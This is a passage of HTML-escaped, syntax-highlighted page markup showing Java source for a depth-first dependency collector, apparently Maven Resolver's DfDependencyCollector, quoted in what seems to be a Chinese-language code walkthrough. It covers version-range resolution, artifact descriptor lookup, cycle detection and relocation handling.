class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e141\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e142\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e143\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e144\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e145\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e146\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e147\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e148\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e149\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e150\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e151\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e152\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e153\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e154\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e155\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e156\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e157\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e158\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e159\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e160\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e161\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e162\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e163\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e164\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e165\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e166\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e167\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e168\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e169\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e170\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e171\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e172\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e173\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e174\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e175\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e176\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e177\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e178\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e179\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e180\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e181\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e182\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e183\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e184\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e185\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e186\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e187\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e188\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e189\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e190\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e191\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e192\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e193\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e194\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e195\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e196\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e197\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e198\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e199\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e200\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e201\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e202\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e203\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e204\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e205\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e206\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e207\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e208\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e209\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e210\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e211\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e212\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e213\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e214\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e215\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e216\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e217\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e218\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDfDependencyCollector\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eextends\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollectorDelegate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eService\u003c/span\u003e \u0026#123;\u003cbr\u003e ...\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprotected\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003edoCollectDependencies\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e RepositorySystemSession session,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e RequestTrace trace,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DataPool pool,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DefaultDependencyCollectionContext context,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DefaultVersionFilterContext versionContext,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e CollectRequest request,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencyNode node,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;RemoteRepository\u0026gt; repositories,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;Dependency\u0026gt; dependencies,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;Dependency\u0026gt; managedDependencies,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Results results)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eNodeStack\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003enodes\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eNodeStack\u003c/span\u003e();\u003cbr\u003e nodes.push(node);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArgs\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eargs\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArgs\u003c/span\u003e(session, pool, nodes, context, versionContext, request);\u003cbr\u003e\u003cbr\u003e process(\u003cbr\u003e args,\u003cbr\u003e trace,\u003cbr\u003e results,\u003cbr\u003e dependencies,\u003cbr\u003e repositories,\u003cbr\u003e session.getDependencySelector() != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e\u003cbr\u003e ? session.getDependencySelector().deriveChildSelector(context)\u003cbr\u003e : \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e,\u003cbr\u003e session.getDependencyManager() != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e\u003cbr\u003e ? session.getDependencyManager().deriveChildManager(context)\u003cbr\u003e : \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e,\u003cbr\u003e session.getDependencyTraverser() != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e\u003cbr\u003e ? session.getDependencyTraverser().deriveChildTraverser(context)\u003cbr\u003e : \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e,\u003cbr\u003e session.getVersionFilter() != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e ? session.getVersionFilter().deriveChildFilter(context) : \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eprocess\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e Args args,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e RequestTrace trace,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Results results,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;Dependency\u0026gt; dependencies,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;RemoteRepository\u0026gt; repositories,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencySelector depSelector,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencyManager depManager,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencyTraverser depTraverser,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e VersionFilter verFilter)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (Dependency dependency : dependencies) \u0026#123;\u003cbr\u003e processDependency(\u003cbr\u003e args, trace, results, repositories, depSelector, depManager, depTraverser, verFilter, dependency);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eprocessDependency\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Args args,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e RequestTrace trace,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Results results,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;RemoteRepository\u0026gt; repositories,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencySelector depSelector,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencyManager depManager,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencyTraverser depTraverser,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e VersionFilter verFilter,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Dependency dependency)\u003c/span\u003e \u0026#123;\u003cbr\u003e\u003cbr\u003e List\u0026lt;Artifact\u0026gt; relocations = Collections.emptyList();\u003cbr\u003e processDependency(\u003cbr\u003e args,\u003cbr\u003e trace,\u003cbr\u003e results,\u003cbr\u003e repositories,\u003cbr\u003e depSelector,\u003cbr\u003e depManager,\u003cbr\u003e depTraverser,\u003cbr\u003e verFilter,\u003cbr\u003e dependency,\u003cbr\u003e relocations,\u003cbr\u003e \u003cspan class=\"hljs-literal\"\u003efalse\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eprocessDependency\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Args args,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e RequestTrace parent,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Results results,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;RemoteRepository\u0026gt; repositories,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencySelector depSelector,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencyManager depManager,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencyTraverser depTraverser,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e VersionFilter verFilter,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Dependency dependency,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;Artifact\u0026gt; relocations,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e disableVersionManagement)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (depSelector != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e \u0026amp;\u0026amp; !depSelector.selectDependency(dependency)) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRequestTrace\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etrace\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e collectStepTrace(parent, args.request.getRequestContext(), args.nodes.nodes, dependency);\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003ePremanagedDependency\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003epreManaged\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e PremanagedDependency.create(depManager, dependency, disableVersionManagement, args.premanagedState);\u003cbr\u003e dependency = preManaged.getManagedDependency();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003enoDescriptor\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e isLackingDescriptor(dependency.getArtifact());\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etraverse\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e !noDescriptor \u0026amp;\u0026amp; (depTraverser == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e || depTraverser.traverseDependency(dependency));\u003cbr\u003e\u003cbr\u003e List\u0026lt;? \u003cspan class=\"hljs-keyword\"\u003eextends\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eVersion\u003c/span\u003e\u0026gt; versions;\u003cbr\u003e VersionRangeResult rangeResult;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersionRangeRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003erangeRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e createVersionRangeRequest(args.request.getRequestContext(), trace, repositories, dependency);\u003cbr\u003e\u003cbr\u003e rangeResult = cachedResolveRangeResult(rangeRequest, args.pool, args.session);\u003cbr\u003e\u003cbr\u003e versions = filterVersions(dependency, rangeResult, verFilter, args.versionContext);\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (VersionRangeResolutionException e) \u0026#123;\u003cbr\u003e results.addException(dependency, e, args.nodes.nodes);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (Version version : versions) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifact\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eoriginalArtifact\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e dependency.getArtifact().setVersion(version.toString());\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependency\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ed\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e dependency.setArtifact(originalArtifact);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactDescriptorRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edescriptorRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e createArtifactDescriptorRequest(args.request.getRequestContext(), trace, repositories, d);\u003cspan class=\"hljs-comment\"\u003e//关键代码\u003c/span\u003e\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e \u003cspan class=\"hljs-type\"\u003eArtifactDescriptorResult\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edescriptorResult\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e getArtifactDescriptorResult(args, results, noDescriptor, d, descriptorRequest);\u003cspan class=\"hljs-comment\"\u003e//关键代码\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (descriptorResult != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e d = d.setArtifact(descriptorResult.getArtifact());\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyNode\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003enode\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e args.nodes.top();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ecycleEntry\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e DefaultDependencyCycle.find(args.nodes.nodes, d.getArtifact());\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (cycleEntry \u0026gt;= \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e) \u0026#123;\u003cbr\u003e results.addCycle(args.nodes.nodes, cycleEntry, d);\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyNode\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ecycleNode\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e args.nodes.get(cycleEntry);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (cycleNode.getDependency() != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultDependencyNode\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003echild\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e createDependencyNode(\u003cbr\u003e relocations, preManaged, rangeResult, version, d, descriptorResult, cycleNode);\u003cbr\u003e node.getChildren().add(child);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003econtinue\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (!descriptorResult.getRelocations().isEmpty()) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edisableVersionManagementSubsequently\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e originalArtifact.getGroupId().equals(d.getArtifact().getGroupId())\u003cbr\u003e \u0026amp;\u0026amp; originalArtifact\u003cbr\u003e .getArtifactId()\u003cbr\u003e .equals(d.getArtifact().getArtifactId());\u003cbr\u003e\u003cbr\u003e processDependency(\u003cbr\u003e args,\u003cbr\u003e parent,\u003cbr\u003e results,\u003cbr\u003e repositories,\u003cbr\u003e depSelector,\u003cbr\u003e depManager,\u003cbr\u003e depTraverser,\u003cbr\u003e verFilter,\u003cbr\u003e d,\u003cbr\u003e descriptorResult.getRelocations(),\u003cbr\u003e disableVersionManagementSubsequently);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e;\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e d = args.pool.intern(d.setArtifact(args.pool.intern(d.getArtifact())));\u003cbr\u003e\u003cbr\u003e List\u0026lt;RemoteRepository\u0026gt; repos =\u003cbr\u003e getRemoteRepositories(rangeResult.getRepository(version), repositories);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultDependencyNode\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003echild\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e createDependencyNode(\u003cbr\u003e relocations,\u003cbr\u003e preManaged,\u003cbr\u003e rangeResult,\u003cbr\u003e version,\u003cbr\u003e d,\u003cbr\u003e descriptorResult.getAliases(),\u003cbr\u003e repos,\u003cbr\u003e args.request.getRequestContext());\u003cbr\u003e\u003cbr\u003e node.getChildren().add(child);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003erecurse\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e traverse \u0026amp;\u0026amp; !descriptorResult.getDependencies().isEmpty();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (recurse) \u0026#123;\u003cbr\u003e doRecurse(\u003cbr\u003e args,\u003cbr\u003e 